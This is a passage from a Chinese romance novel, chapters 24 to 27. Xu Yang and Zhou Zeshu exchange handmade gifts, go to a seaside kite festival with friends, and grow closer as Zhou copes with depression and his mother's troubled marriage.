鲜明的印记似乎提醒着她，刚刚……
徐漾不敢抬头，不知道该怎么解释喝错的事，微抿了抿略显慌张的嘴巴，可下意识做出这个动作之后，又吓了一跳。
天！要炸了。
好热好热好热……
将牛奶罐放下，推远，这次是真不敢抬头了，可却明显感觉到有一道灼热的视线落在自己身上。
安静的店内，淡雅特有的清香弥漫着。
从没觉得一分一秒有这么难熬过。
等待等待……
终究难以忍住，一鼓作气扬头。
感觉没有错。
周泽树的确正看着她。
目光落在她局促慌乱的唇。
眼神该往哪里放？她该做点什么？要说什么？为什么这么安静？人一局促就容易措乱，一定要拿点什么东西，可碰到冰凉的罐身，看到上面红色的纹路，浑身过电般吓得一激灵，忙缩回手。
阳光清透的街道，有小车驶过，将这份暧昧窒息的气氛打破。
24. chapter 24
我也有样东西给你，好久前就打算给你了，一直没找到机会。”
良久，徐漾深呼吸，压下狂躁的心跳，扭身去翻包，同样默契拿出一个盒子。
一直放在她那，来商量风筝节的事，干脆就带来了，只是没想到送东西撞一块儿了。
周泽树收回视线，瞧了一眼她手里的东西。
“怎么了这是？今天是什么礼物交换日么？”
“不过，我的可能不是太贵重。”
徐漾弱弱说完，又指了指他手里的盒子说：“但这是我自己做的！第一次做呢，虽然我的手工差了点，最终成品好像还不错。”
周泽树打开后，好半天没反应。
徐漾瞄了他好几眼。
怎么样怎么样。
应该……挺好看的吧。
她作废了好几个，手太笨了，挑了其中最漂亮的。
徐漾惭愧垂下脑袋，揪着手指，唉，可能真的不好看吧。
“做得挺好的，我很喜欢。”
周泽树温柔的声音自头顶传来。
她一瞬抬头，眼睛格外明亮。
“对吧！我也觉得！”
徐漾的礼物也是两样，第一件是一串铺梦网，圈里面缠线复杂，有一处要是细腻一点还能看出有些不打紧微小的瑕疵，她应该做了许久，可能不止这一个，最终选了最漂亮的。
白色圈下坠了灰蓝色羽毛，连接处穿了些透明水晶珠子做装饰。
周泽树拎起来，受力，羽毛在下方轻轻晃动。
梦幻又动人。
相传铺梦网最先出自印第安人，他们相信噩梦会随着清晨第一缕阳光而消失。
徐漾特别开心地指着中间线里的那个圆洞说。
“传说还讲只有好梦会随着这个洞，顺着羽毛流下来，而噩梦会被困在网中第二天天亮就彻底消失殆尽。”
之所以送这个，希望他能做了好梦。
希望他夜里不要失眠。
“这个！……”徐漾看他拿起第二样，赶忙出声。
对上周泽树探寻的视线，她声音弱下来，支吾着：这个你能不能回去在研究。”
她怕他不收，更觉得送东西这件事莫名其妙，早在很久前就准备好了一段措辞。
“之前你帮我那么多，我来这边玩的超级开心，我想我们应该算朋友了吧。”
“周泽树。”
她目光诚恳，带着力量。
“希望你一定要好好的。”
那次平州出游回来夜里，镜子前，他苍白脸上还未掩藏掉的泪水一直犹在眼前。
她装作什么都没发生。
那是她从来没见过的样子，她不知道他到底怎么了，每每被那个画面惊醒，就心里隐隐作痛。
他们算朋友吗？
在他心里是算的吧。
所以说这些话也不会奇怪。
徐漾不知道为什么，她开始纠结这些有的没的，明明自己根本不是这样的。
心里就像有两个小人，每天在她面前上演“弹簧”，一个说可以，一个说不行，关键，她们都能产出好多好多理由。
而她总是听完后默认倒戈。
这种感觉太奇怪了。
有些酸，又有些涩，像吃了颗将熟未熟的果子。
好一段沉默。
终于。
周泽树笑了笑。
在她的视线里，周泽树抬起手。
越来越靠近脸颊的时候，徐漾下意识屏住呼吸，可却停下。
犹豫片刻，那只手只是落在她的头顶，而后轻轻揉了揉，她柔软的头发像云朵，美好的云朵。
他自然的语气说。
“徐漾，谢谢你。”
“不客气啊。”她将他送他的盒子抱起来，暗自呼了口气，“你也送我东西了，况且我想送你，才送的。”
我想送你。
之所以的原因，我想送你。
“那我也是。”
周泽树重复她的话。
“我想送，所以也送你。”
明明是一样的话，可为什么是不一样的感觉。
力的作用是相互的，那他呢？
他的感觉。
也会一样吗？
—
-
其实，周泽树这个月失眠的频率已经越来越少。
上回对陈裳说的话也是真的。
他真的觉得在一点点变好起来。
是在有一天清晨醒来，看见窗外世界探进来的阳光，他突然第一次觉得这太阳怎么明媚。
好像很久很久没有这种感受了。
下床，洗了个澡，带着七饼出门。
还是去了之前那个公园。
那个意外和蹲在支架杆前叽叽喳喳的麻雀看了一场日出的公园。
日出时间早已经过了，清晨的阳光薄而清润，一只松鼠探出头来，在树干上窜来窜去，七饼开心地撒泼追一只粉彩蝶。
不远处平台有大爷听着广播打拳。
他坐在休息椅上，身体感到一阵久违的轻松和平静。
云溪是他从小生活的地方，又是长大回归的地方，可有一块阴霾遮挡了实在太久太久，已经说不出到底是什么时候了。
张超、小娜、时雨、云溪的年轻小孩们，有空总是爱往里屿跑，也不知道这个小小的店铺究竟有什么魔力。
他扮演着类似兄长的角色，扮演着一个好人，扮演着奶奶的好孙子。
为朋友排解忧虑，解决烦恼，本能地照顾着每一个人。
里屿更多时候是一座小岛，寄托承载着快乐的无忧岛。
在大多时候他跟一个正常人一样，谈天聊笑，看似好好生活。
可实际上他被阴霾遮掩，走不出去，太难走出去，也不愿意走出去。
生活在他眼里没了颜色，灰扑扑的。
每一天都是一场与自我的战斗，黑暗席卷了他。
这种窒息，太痛了。
……
此刻夜晚，周泽树握着这个巴掌大的小方片。
这是今天徐漾礼物的第二件，一个浅白色像贺卡一样的录音磁带。
他摁下开关按钮。
随着一段刺啦的电流，一道活泼清脆的声音溢出来。
“铛铛铛——是我，我是徐漾！”
女孩音调上扬，愉快的像太阳一样，说起当初在早餐店里见面的介绍。
“徐州的徐，荡漾的漾哦。”
“瞧我发现了什么好玩的，这是我看展出来在路上买到的，这个长得像贺卡一样的小玩意儿竟然可以当磁带使哇！咳咳，那我可要好好用一用，拿它当一下小白鼠！”
“说点什么好，让我想一想啊，耐心等我三分钟，哈哈开玩笑的，OK，我准备好了！”
“这是我来云溪的二十一天……官方不了一点，我还是用回正常语气吧。”
“哇塞，完全想不到时间竟然过得这么快，太快了吧，我感觉我好像昨天才来这个地方，提到这，真的很窘迫！！！啊啊啊我这惊为天人的演技为什么要被你看到！”
周泽树没忍住跟着回忆，笑出了声。
“我
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感觉我的演技完全没得挑好不好，麻烦星探明天就给我递名片，不知道那个司机大哥晚上睡觉到底有没有内疚啊。”
“哎呀，真的很烦不管人死活一定要上他车的司机，还有理发店一直推销个不停的理发小哥，车上哭哭闹闹的小孩也讨厌，哦！奶茶店里少加珍珠的店员更讨厌！！我的珍珠……”
“偏题了偏题了，当时看到你我觉得好丢人呀，好吧，丢人之外，我在想这个男生怎么这么帅。”
“这是可以说的吗？那我悄悄说一下这个男生有点帅哦哈哈哈哈。早餐店里荷奶奶的汤包真的超级好吃！我简直都要爱死了，我相信以后我一定会怀念这个独一无二的味道。”
“这二十一天，我追了深夜海棠、看了清晨六点钟的日出、海边烟花、动人的蓝眼泪、阴雨天的油菜花谷……还有好多好多，当然这里面也有某个人的参与，矫情再说一遍谢谢，感谢款待！！摘礼帽~~”
“我以前是一个挺有上进心的人，来这里之后，去他的上进心，哎，我好像变懒了，懒就懒吧，相比之下我好像更喜欢现在的我，不是说就讨厌过去那个了，每个人都有自己想要的活法，而我刚好喜欢现在这种，只是发现的晚一点而已，没关系。”
“毕业的时候想十年后到底是什么样的呢，我当时觉得可能是穿精致西装套裙，踩着高跟鞋的女强人，你不要笑话我啊，我那个时候刚刚收到人生第一份大厂offer，历经海归名校pk多层筛选，很厉害的好吧！但我好像不喜欢，是明确不喜欢！我不喜欢我的思想被制胁，不喜欢占用时间参加没必要无聊的社交……”
我发现相比精致的正装，我更喜欢各种漂亮被人说不合适的小裙子，我这人某些地方三分钟热度，今天喜欢这种风格，明天又变成那种，想要让我老老实实完全不可能的。”
“这趟云溪，我好像找到了那个想要的我，下一步该怎么走，暂时不知道，到时候再说吧，唉好伤脑筋哦，不想了不想了。可一想到认识你，张超，时雨姐，小娜还有张爷爷，孙爷爷，王婆婆……就好开心好开心！”
“我怎么啰里啰唆说了一大堆，救命重点重点！！时间都快被我浪费完了。”
“周同学，我觉得你超级厉害的，如果有哪些地方没做好，没关系的，这是真心话，里屿能走到今天，辛苦了，辛苦你一直照顾着大家，这些我们都有目共睹。”
“其实我觉得人生还是很有意思的，你千万不要觉得我老成，无论天气好，天气不好，总会有零零碎碎轻易发现的美好，吃到的每一份美食，看到的那一刻风景，都是我们生活的止痛药。”
“糟糕，还有三十秒！”
她正了正神色，急急忙忙道。
“祝永远快乐太不切实际了，希望你今天快乐，明天的快乐比今天多一点吧，最最重要的，要知道这个世界上不会有人孤身一人，我们大家永远都在，我……”
时间到。
似乎能想到她话还没说完，在那边抓狂吐槽的样子。
周泽树极轻地扶着额，摇了摇头，嘴角扬起丝温暖的笑。
宁静的夜晚没有一点风。
可却能够听到遥远的海浪。
一声又一声，轻轻的，轻轻的，如安抚般轻涌而来。
没有人跟他说过这些话。
他好像自己也忘了，忘记自己生了一场很严重的病。
铺梦网的羽穗，在月色里发出梦幻的灰蓝色。
他鬼使神差地再次摁下播放。
那种感觉又来了，有什么东西将阴霾吹散。
阳光彻底透进来了。
25. chapter 25
去风筝节时间在下午三点的样子。
不过少了一个人。
周泽树没来。
徐漾不知道原因，只听张超说周泽树临时有事，让他们先玩。
她佯装随意问：“那他有说几点过来吗？”
张超挠了挠头：“不知道诶，周哥没说啊，可能不来了吧，他往年都不爱参加这种活动的。”
明明都说好了。
明明群里也没拒绝。
“知道了。”
“我们放风筝吧。”徐漾收拾好情绪，捣鼓自己提前准备的风筝。
不来就不来，她自己玩。
张超早就准备好了，一来就迫不及待飘在天上。
他这个被吐槽了一路。
明明是鱼的身子，可却长了只猪的鼻子，幽灵一样的眼睛，还是紫黄色条纹的。
要多毒眼睛就毒眼睛。
用小娜的话说，简直丑到不能再丑，丑到没边了。
“你把你那死鱼拿开，别碰到我们宝贝草莓熊。”
“我就碰就碰。”张超特贱兮兮地控制用鱼尾巴轻轻推高空的草莓熊。
“啊啊要是你把我们线缠住了，你就完蛋了！时雨你快往旁边飞飞。”
小娜指挥完，没看到徐漾的，转身去寻：“阿漾，你的风筝呢，藏在背后干嘛，我要看你的。”
“你说的哦，当当！看我的超绝强子！”
徐漾从背后拖出来，她这个真的超大个。
是一大只超形象的拽酷骑自行车蟑螂。
“啊啊啊啊，徐漾！！！”小娜倏地瞪大眼，倒吸一口凉气。
她生平最怕的就是蟑螂这玩意。
“哈哈哈哈哈哈。”
张超闻声回头，眼睛都亮了，论有病组合，好像看到新成员加入：“救命我喜欢这个！太帅了！！”
江时雨回头也噗嗤乐了：“我说你怎么一直不给我们看，原来藏着这招，别致！”
“是吧。”
她这可是专门从好几家风筝店里选中租的，王牌呢。
“你们谁要帮我拖！”徐漾一扫，笑嘻嘻地，“小娜，就是你，恭喜你成为今天的荣幸嘉宾，快来帮把我强子抱起来！”
“我不要——”
“哈哈哈你不觉得我强子超帅的嘛。”
“你看看你看看，多酷啊，一点都不吓人。”
“救命！徐漾你别过来——”
场面笑到不停。
徐漾的超绝强子吸引许多目光，最终由张超抱在后面，辅助飞上天。
风筝节来玩的人不少。
今天风大，阳光又好，天上的风筝，远处的山与海，简直太美了。
兔子、鱼、粉耗子、章鱼、虎鲸、葫芦娃、奥特曼……
各种各样五彩斑斓的风筝在风中舞动。
湛蓝的天是倒过来的海。
广阔的沙滩公园，小孩，大人玩闹不停，要比谁飞得更高，谁的技术酷炫。
大蟑螂蹬着自行车悠哉悠哉从这头蹬到那头，触须在天上一点一点的。
徐漾玩累了，换馋了好久的张超来，拿相机出来录视频。
“时雨姐，小娜——”
两女孩前一秒还在打打闹闹，下一秒看到镜头，迅速规整，捋得捋头发，理得理衣服，小动作不停。
“美这呢美着呢，今天都超漂亮！”
等她们打完招呼，徐漾又将镜头一转，指了指前头。
“看到那个了吗哈哈哈，这人被我的超绝强子迷晕了。”
张超听闻转身，边握着线筒，边疯狂挥手打招呼。
……
徐漾录完景，关了设备，找了个没人的台阶坐下。
风悠悠得吹，阳光有些刺眼，她抬手放在额上挡着，看他们放风筝，睁着眼睛呆了好一会儿。
有点失落。
徐漾深呼吸了下。
闺蜜看到朋友圈晒图，问什么时候回来。
孙雨柔：[好舒服啊，我都要被你种草了，要不下次休假我也把这加入备选？]
徐漾：[嗯]
作为从小穿一条裤子长大，最了解徐漾的人，朋友最先察觉到状况。
孙雨柔：[咋滴了我的漾？]
徐漾：[我上回跟你说我几号回桐城？]
孙雨柔：[九号吧，快了快了，下周二。]
徐漾：[哦。]
原来一晃，时间都要过完了。
有点遗憾。
孙雨柔：[行，跟我说吧，姐现在没事空闲着，奶茶，靠枕，就差把瓜子，已经做好听故事的准备了。]
孙雨柔嫌敲字累，直接播来语音：“你是不是遇到感情问题了？”
聪明如她。
说实话，这么一句，刹那间把徐漾问住了。
“你就直接跟我说那男人怎么样？跟大学时候计算机那个比？”
计算机那个，就是她尝试一周不到，掰了那位。
“没得比。”
“这么差？！”
“不应该吧，我刷到你们之前街头演出那个视频，不得不说真有点绝，这都比不了？”
“不是啊！我是说后者没得比！！！”
朋友在另一头笑到不停，不知是不是故意的：“哦，这样啊，你不说清楚，我还以为比当初那个还差呢。”
“现在想起来那男就不行，当初追你追的火热，结果呐，背地里造你谣，恶心死。”
徐漾现在连人长什么样都忘记了。
“那你觉得现在这位怎么样？”
徐漾捡了根小树枝，在地上划来划去。
“挺好的，你还记不记得我第一天来这跟你说的。”
每个人都有属于自己的磁场，有的舒服，有点皱眉，而磁场的反应可能是肉眼看见的，也可能是不依赖大脑和眼睛感官到的，相比之下，长相则是附属品也是加分项。
那么周泽树，完美做到了两者兼顾。
徐漾将这里发生的一些大大小小的事，省略掉不相关，讲给她听。
“我去，你是不是喜欢他，这男的是不是喜欢你？！”
“啊啊啊啊你小声点！”徐漾脸红心跳，吓得赶紧捂听筒。
“漾啊，他完全就是你crush嘛，你还不承认。”
虽然孙雨柔之前老拿这个称呼和她开玩笑，徐漾后来说累了也懒得反驳。
这年头，流行crush这个词。
短暂的心动和美好，是霎那间热烈的火花。
人们往往短时间受于这种情感，极易上头。
但诚然，感觉只是短暂的，或许是某刻天气很好，心情不错，亦或是陷于某种难境，因为现实里太缺乏了，某一刹，会莫名心头一磕。
说个不好听，是衬托下的。
脱离这些条件，后来再现好像也就平平无奇了。
周泽树是个怎样的人？
他总是温柔笑着和别人打招呼，从容镇定，他身上总带着股慵懒劲儿，不紧不慢，谈不上冷也谈不上热。
这让她想到了初来这里的天气。
不，那个时间还是太晚。
上午一点刚刚好。
春日上午一点的阳光。
排开之前的不提。
平川之旅，即使是她临时起意提出来的，他却周到安排好一切，考虑大家赶路饿了，第一时间给他们打包午饭；小到穿孔店，大到化妆乐器租赁，为了提升生日体验感，节约时间，避免了无头苍蝇。
这些都是大家在车上聊天玩乐时，他默默解决掉的。
小娜下台懊恼自己差点毁了整场演奏，虽然乐观嘴上说着都过去，但事后偷偷跟周
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泽树道歉。
他说：“咱们最后一拍是最精彩的，你只是点燃了它。”
他怕她下次拿起乐器，第一时间想起来不是它带来的愉悦而是在台上无限放大的窘迫和羞涩。
又补了句，“吉他临场表现其实挺不错。”
那天她出来透气恰好偷听到了。
就连自己提过一嘴最喜欢的画师，周泽树出差也会记得帮她带签名本。
看似什么都不在意，云淡风轻的，却有颗剔透细腻的心。
短暂吗？
好像一点都不短暂。
每一个细节都恰如其分地戳中了靶心。
一些不可言说的情绪，就像天上的风筝，越飞越远，越飞越高，始终着不了地。
徐漾是个坦荡的人，是个勇敢的人，是个少有内耗的人。
她这二十多年感情经历可以形容为一清二白。
这么抓心挠肝还是头一遭。
嘴唇翕动半晌，最后说：“哎烦死了。”
“你就说是不是喜欢人家嘛。”
有什么不敢开口的。
“对，我是喜欢。”
会下意识注意他什么时候出现在店里。
会注意他今天穿了什么衣服。
会处心积虑找借口跑去里屿，虽然她自己都不愿承认。
做了五六个捕梦网，绕线都要绕吐了，绕到脑瓜子疼，还是心里想——
再做一个，最后一个，说不定就比前一个完美呢。
她得自己承认，她是喜欢。
但她并不同意孙雨柔后一个观点。
“他不喜欢我。”
“为什么？”
没有为什么，想不出来，就是下意识否定了。
徐漾不知道该怎么形容这种感受。
“啧，爱情真可怕，还能让你不自信了，那你今天为什么心情不好，出来玩没见到想见的人？”
十几年的革命友情，朋友直接了当地戳穿了她。
“你发消息问他为什么会没来，发生什么事了？需不需要帮忙？”孙雨柔给她出主意，“没什么的，直接大胆问，一点也不奇怪，别扭什么呢漾。”
喜欢一个人，真是一种奇怪的感觉。
除了甜开外，有酸和涩还有苦。
局中人看山山有雾。
局外人却看得门清。
对，直接问。
有什么奇怪的。
到底在犹豫什么？
就算作为朋友担心怎么了？多正常的事。她为今天的矫情感到抱歉。
徐漾丢掉手里的小树棍，换了种说辞：[今天阳光不错，现场特别好玩，你还来吗？]
五彩缤纷的风筝飞扬在蓝色的海，公园放着悠扬的歌声，和欢声笑语携在一起。
风吹动着她的念想，还有地上的名字。
徐漾轻咬着唇，根本听不进去，紧紧盯着屏幕状态显示栏区。
突然。
显示对方正在输入中……
周泽树：[本来不打算来的。]
徐漾：[所以你是改变主意了？]
徐漾：[现场氛围挺不错的，来不了吃亏来不了上当。]
[小懒转圈圈.jpg]
呼吸一起一伏，嘴咬得更紧。
接着进来一段语音。
他是在接上一句话。
“但今天确实阳光不错。”
“还有，不知道有什么魔力。”他说，“突然很想见一个人。”
“徐漾，你会魔法么？”
语音里的声音那么熟悉，不止是他的声音，还包括现场。
徐漾猛地抬头。
这一次，真的听清了。
歌还在唱。
他穿着白色衬衫，戴着黑色鸭舌帽，气质清爽，正朝她的方向一步步走来。
26. chapter 26
周泽树换完衣服，给七饼喂过粮，准备下楼出门。
今天公园风筝节，云溪每年四月这个时候都会举办。
他往年不爱参加这样的活动，太闹腾，加上人多，尚能在张超他们面前维持表面，一旦到他独处的时间，格外拒绝攀谈，将所有人隔绝在外，这是他的另一面。
但今年却破了例。
电话来得猝不及防，在他拿钥匙的前一秒。
周泽树看到屏幕上的来电显示，瞳孔微动了动，还是接起电话。
“妈。”
那头沉默了半分多钟，不知有没有在听，周泽树知道她一定是在。
也同样知道，她一定有事。
“吃过饭了吗？”
“吃过了。”那边是她平静的声线。
平静却又称不上平静，是刻意压住的。
周泽树心抖了一下。
“嗯，小月呢？”
“阿姨送她去上钢琴课了，结束她要找同学玩，晚上才回来。”
“那他？你们最近怎么样，他跟那女人有没有断关系？”
邓云不说话。
周泽树继续问：“还是跟以前一样是不是……”
他还没说完，就听到那边崩溃大叫。
“你别说了别说了！我求你！我求你别说了……”
邓云蹲下，像个疯子一样哭着紧咬住手。
周泽树紧攥着拳，眼里没有一丝热气，他必须要说。
偏要讲给她听，给她讲清醒了。
“你自己看看你现在过得什么日子，这是你喜欢的吗？你喜欢现在对不对，就这样你还要……”
“我不喜欢！”
“你不喜欢就离婚！”周泽树被逼疯了，吼出一句，他又谈得起多冷静。
他站在客厅里，阳光被隔绝，所有黑暗好像都积压在这一块，像洪水猛兽一样要把他拼命往下拽。
他深深闭上眼，克制住不断翻涌的情绪，手紧紧抓住柜子角，听到那边的啜泣，松了。
“对不起。”
他声音软了，带着哀求：“你跟他离婚好不好？”
“你跟他离婚，没什么的，剩下的交给我处理，你如果没地方去来找我，你来找我……”
“我不要你管。”邓云哭闹着质问，“你以为你是我的谁？你是我的谁啊？”
她忘了，要是忘了就好了。
他不敢答，也没资格了。
“我只想帮你。”
—
邓云运气并不好。
当年心灰意冷抛下一切走了，二婚嫁给了一位姓时的商人，生了一个现今已经十岁大的女儿，名叫时愿，小名小月。
时愿，时愿。
一出生就带着爱意长大的孩子。
一家三口，本应该其乐融融。后来生意越来越好，丈夫长期以出差为由长期不着家，邓云慢慢察觉到一些蛛丝马迹，悄悄安装了定位器，追到了一个女秘书家里，当场撞见丈夫裸着上半身来开门。
发生了什么，不必说了。
事情就这么揭开，摆在明面。
闹崩。
邓云接受不了背叛，更接受不了为什么自己两段婚姻都过成这样，她把一切都归咎于命运，钻牛角尖，她这辈子太惨了，上天就是在玩弄她。
她接受不了。
婚姻的本质到底是什么，她开始思考，却得不到答案，反倒每次看到搜集的照片，把自己逼得人不像人鬼不像鬼。
邓云坚决不离婚，活在自己世界里，只要还活着，还有一口气，偏不要他们得逞。
这到底是惩罚他们还是在惩罚她自己，周泽树不理解。
姓时的工作忙，外加越发看不惯邓云婚后一些做派更是不用装了。
但孩子是无辜的，小月只以为父亲因为工作，所以一年才少回家。
这几年周泽树和邓云其实一直有联系，两人关系甚至有破冰。
周泽树不懂，这段婚姻存续下来还有必要吗？表面上是端庄相亲相爱的一家人，实际里吵得不可开交，互戳心窝子。
或许她是为了小月，归根结底，他才是被抛下的一个。
他没资格插手。
周泽树眼睁睁地看着邓云活在痛苦中，他想做点什么。
可什么都做不了。
他什么都做不了。
手里的短信还停在昨天——
[你去死，你去死，你去死，你去死，你去死你去死你去死你去死你去死你去死你去死你去死你去死你去死你去死你去死你去死你去死你去死]
他只回复了好好听课，没有别的。
室内冰冷，四月了，为什么天还这么冷。
他站在原地，望向窗外，这个角度能看到楼下院子里的银杏树的顶尖沐浴在阳光里，闪着清澈的绿意。
他突然想去晒晒太阳。
—
—
“你怎么来了！我以为你不来了呢！”
周泽树淡笑道：“临时出了点事，就来晚了。”
徐漾才反应过来，她未免太心奋了点，轻咳努力压制住，才注意到他刚刚的话。
“出什么事了吗？”
“没，不是要放风筝？走吧。”
周泽树拽下她的双肩包，单背在自己身后，推她走向热闹的海滩。
“哎哎哎——”
“走了。”
……
多巴胺，一种神奇的分泌物质，又被称为快乐因子，传递着开心与愉快。
往往与情绪的起伏呈正相关，根归结底还是在情绪本身上。
徐漾觉得此时此刻如果一定要用一种植物形容的话，她一定是正在散发着无形孢子粉的蘑菇。
“小漾，有这么开心吗？”江时雨注意到她的不同。
“有吗？”徐漾傻乐。
张超跟着说：“刚刚我们一起玩可不是这样的，嗯……好像有点不对劲……”
徐漾：“你的风筝要被撞了！”
“啊我靠，谁谁谁，是谁家的鸭子撞我的鱼了！！！”
小娜被殃及：“丑鱼别往我这来啊，让开让开！”
“哈哈哈哈哈。”
这么晴朗的春日，可一定要尽兴。
别问原因。
享受就对了。
徐漾将相机交给周泽树，今天的视频没录完，突然临时起意交给他掌镜。
“怎么拍？”
“你就对着我，跟着我的视角来，随意一点，拍不好也没关系。”
徐漾敲了个响指，反身转回去，时不时侧身，跟他说着话，完全不受拍摄影响，自然而松弛。
与其算作拍摄，更不如说是玩。
或许这就是她视频的魅力所在。
“会不会剪起来很麻烦？”
“不会呀。”徐漾按下他的手垫脚要看最终成果，周泽树直接放低下来。
“不错嘛，周泽树，我觉得你拍摄很不错哦！”
她从包里取出两罐旺仔，一罐给他，一罐给自己。
徐漾新做了指甲，正当她和易拉罐较劲的时候，“啪”一声，一罐打开好的，细心递到她面前。
周泽树拿走了她手里没开封的一罐。
“谢谢。”她吨吨喝了两口，余光里另一罐也被轻易拉开了。
“哎！你这怎么弄的，我还没看明白呢。”
周泽树手指尖圈着环转了转，利落收回手心。
“单手怎么开的啊？”
“我重新再给你表演个？”
“行呀。”徐漾忙不迭点头，这单手技能太酷了，她也要学，正回忆他刚刚步骤是怎么样来着？
一个不注意，周泽树已经走前面去了。
“你也没教我。”徐漾忙追上去，这人腿长这么长到底想干嘛啊。
“哎呀你教一下嘛！就教一下下！一下下！我肯定学得会！教一下嘛！”
徐漾紧跟在他身后，周泽树忍不住笑了，有温度的笑，放慢下来。
“我不会。”
“你会。”
“不会。”
“我刚刚都看到了。”
“不会。”
“哼，不教就不教，那下次你也给我开喽。”
“行。”
两个幼稚鬼。
天际已经是粉红色，今天的活动已经差不多结束了，游客也已经走一大半了，热闹散后却并不寂寥。
沙滩上有留下组织海边电影，排球，也有亲子出游开始搭帐篷。
大概来都来了。
张超时雨小娜大家一齐凑过去看电影，太过投入没察觉到不知什么时候少了个人。
电影声音大，徐漾朝江时雨耳边说自己想附近走走。
踩在柔软的沙子，被远处粉彩粼粼的海面吸引，原本没找到的人，不经意转头遇见了。
周泽树半蹲在前方和一个小女孩说话。
小女孩看起来有些怯懦的样子，并不像很大胆的孩子。
周边也没有父母，大概率是一个人来的。
今天有活动，公园人多，却没有多少人买她的花，篮子里还剩有一大半。
粉雾海，白色少年，缤纷花束，风鼓起的衣角。
不知为什么，她却觉得他好像永远被隔绝在外，周围的欢声笑语，都与他不关。
可这样一个人，不知不觉已经走到自己面前。
“头绳用么？”
“嗯？”她匆忙神思回来。
周泽树示意手腕，她懵懵地褪下来给他。
皮筋在他手指上利落地转了两圈，一捧彩虹似的花束出现在她面前。
不同颜色的花混在一起并不奇怪，反而有种独属春天的美，像童话故事里打翻的糖果罐。
徐漾抱在怀里，开玩笑道：“看来我来得巧，提前捡漏了。”
“来不来都是你的。”
周泽树在一旁长椅上坐下。
徐漾跟过去，花抱在手里没放下，一副相当震惊的语气：“哇哦～果然这样，我原来是你处理不需要的东西存放柜！周泽树我算是看清你了。”
什么破比喻。
周泽树表示无语：“跟我演上了？”
“你说是不是嘛。”
两人看着烟粉色的海，都有点安静。
徐漾忽然开口说：“我高中的时候上《子路、曾皙、冉有、公孙华侍坐》的时候，孔子问他们都有什么志向呀？过了十几年，我现在都记得很清楚，你猜为什么？”
“因为曾皙说的话？”<
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p>徐漾哈哈笑：“你高看我了，那周我刚好轮座位，在墙柱子边上，这个位置当时可是抢手货，那天带了一个苹果，你知道吧就那种又红又大，超级标准的那种，摆在那实在太诱人了，苹里苹气的，我当时想世界上怎么会有这么可爱的苹果，就忍不住偷偷拿在桌底下玩，学生嘛，除了上课什么都感兴趣。”
“结果盘着盘着，光溜溜的一下滚到过道去了，我天，我也不知道老师怎么下台了，我们当时语文老师特别凶，那天从午休开始，我在办公室啃了一下午苹果，从自以后直接对苹果免疫了。”
那个月她看到苹果就想吐，为此还得了一个外号“苹果侠”，不知怎的，传开了。
她当时是物理课代表，经常出入办公室，有时候老师就说：“哟，我们苹果侠来了。”
这个称呼足足被朋友笑到高中结束，现在有时候在群里还会被提起。
周泽树想到那个场景，不禁弯了弯唇。
“不过，曾皙的回答我还是很喜欢的，他是这样回孔子的。”
她细细回忆，有点卡壳。
糟糕，尴尬了。
周泽树撇撇嘴，替她说：“暮春者，春服既成，冠者五六人，童子六七人，浴乎沂，风乎舞雩，咏而归。”
“耶斯～所以对嘛。”
“这个世界就是一个巨大的游乐园。”她拍拍他的肩膀，伸了个懒腰。
“我们只需要把它当做一场体验，如果不想继续，完全可以打开地图，换下一个项目。”
生命的意义就是如此，没有什么能将我们难住，太过较真反而会失去原本的乐趣。因为某一项关卡，就忽略了后面的美好。
那不值得。
别钻牛角尖。
人生统共不过三万天，每个人最终归宿都是一抷黄土，既然这样，有什么好困扰的？坦然一点，平静一点，春华秋实，夏雨冬雪，这个世界还有好多值得细细感受。
毕竟地图是在你手里。
……
周泽树无声望着那片橙粉色海。
他人生头一次反思。
他劝邓云往前走，别活在过去，那他呢？
怎么到自己身上，就迷糊了？
他开始审视自己，为什么要把生活过得这么丧，这么多年到底因此错过了多少风景。
他亲手铸造一个牢笼，把自己完全困住了。
人都是渴望光的。
他也不免落俗。
那么，今天钥匙把门打开了。
……
“周泽树。”
“嗯。”
你收到过花么？”
“怎么了？”
“你这人真是的，你就说有还是没有嘛？”
“没有。”
“网上说得果然没错，这个世界百分之九十九的男人这辈子都不会收到第一朵花。”
她站起来，挡在他面前，从刚刚花束里拔出一支向日葵来。
“不过，很不幸你不在那百分之九十九中。”
“喏，这朵给你。”
“搞清楚点状况好不好？”他笑着，“我的东西。”
她理所当然：“你给我了那不就是我的，我再送你有问题么？”
行，你说得算。
徐漾不自觉望了眼周泽树，此刻他坐着，她站在他面前，这一次她不再需要抬头。
风轻轻吹着。
谁都没挪开。
空气似乎变得粘稠。
她心里一突，怕暴露什么。
下意识眼神想逃，周泽树却伸手取走她手里的向日葵，将她手腕一拉。
瞬间，她和他的距离变成了咫尺。
徐漾大惊失色，她一个趔趄险些扑进他怀里，左手寻求支撑点不受控制地胡乱按在他的胸膛上，要死了！慌乱中迅速收手站稳。
男人坚实的胸膛，触感由在手边。
徐漾暗骂自己果然是个老色鬼。
浑身如过电般。
怎么办。
心好快，好快，要跳出来了。
太近了。
她闻到了他身上清冽夹着淡淡洗衣液的味道。
这个时候如果张手，可以直接算作拥抱吧。
徐漾蜷了蜷手指，被自己想法吓了一跳，握紧了。
她还是较劲般垂下眼睛，没有移开视线，脑子里蓦地蹦出孙雨柔那句，你明明喜欢他，他也喜欢你啊。
周围人声鼎沸，没人注意到这里——
他们的目光在彼此瞳孔里肆无忌惮地，侵略性地、占有地、试探性地交汇。
徐漾蜷起来的指尖蓦地崩得很紧。
因为周泽树握住她手腕的拇指来回轻轻滑过她腕内的肌肤，她的脉搏跳得太快了，好烫，好烫，明明他的手指也很烫的，分不清了。
只求她的脉搏，千万别出卖了她。
……
晚风轻轻吹着。
刚刚的话题依旧还在继续。
“那么小漾老师，还会有下一场项目吗？”
“当然。”徐漾已经克制平息下心跳，强迫自己和那双温清的眸子对视。
世界是一个巨大的游乐园。
那么。
祝你，祝我，
祝我们玩得尽心。
27. chapter 27
徐漾真的没有说假。
今天的确还有一样任务。
电话打来，东西已经到外面入口，徐漾还问需不需要帮忙，外卖小哥说不用那么麻烦，他停好车马上就进来。
小娜好奇：“点外卖了？要不要这么周到，刚刚我们还商量要不要出去聚餐，我知道有家特别好吃的馆子。”
“饭当然要吃，待会儿我请客！”
“那现在这是什么？”张超摸不着头脑。
穿着工作服的外卖小哥进来了，沙滩人多，不知道究竟是谁点的，怀里艰难抱着一个大箱子四处张望。
“这个？”周泽树问。
“对，就是的。”徐漾换得这副隐形不太好用，撑着眼皮锁定后，连忙挥手，要跑过去帮忙。
周泽树腿长，第一时间确认人已经过去接应。
几分钟后，都明白了。
江时雨：“这么多饮料……”
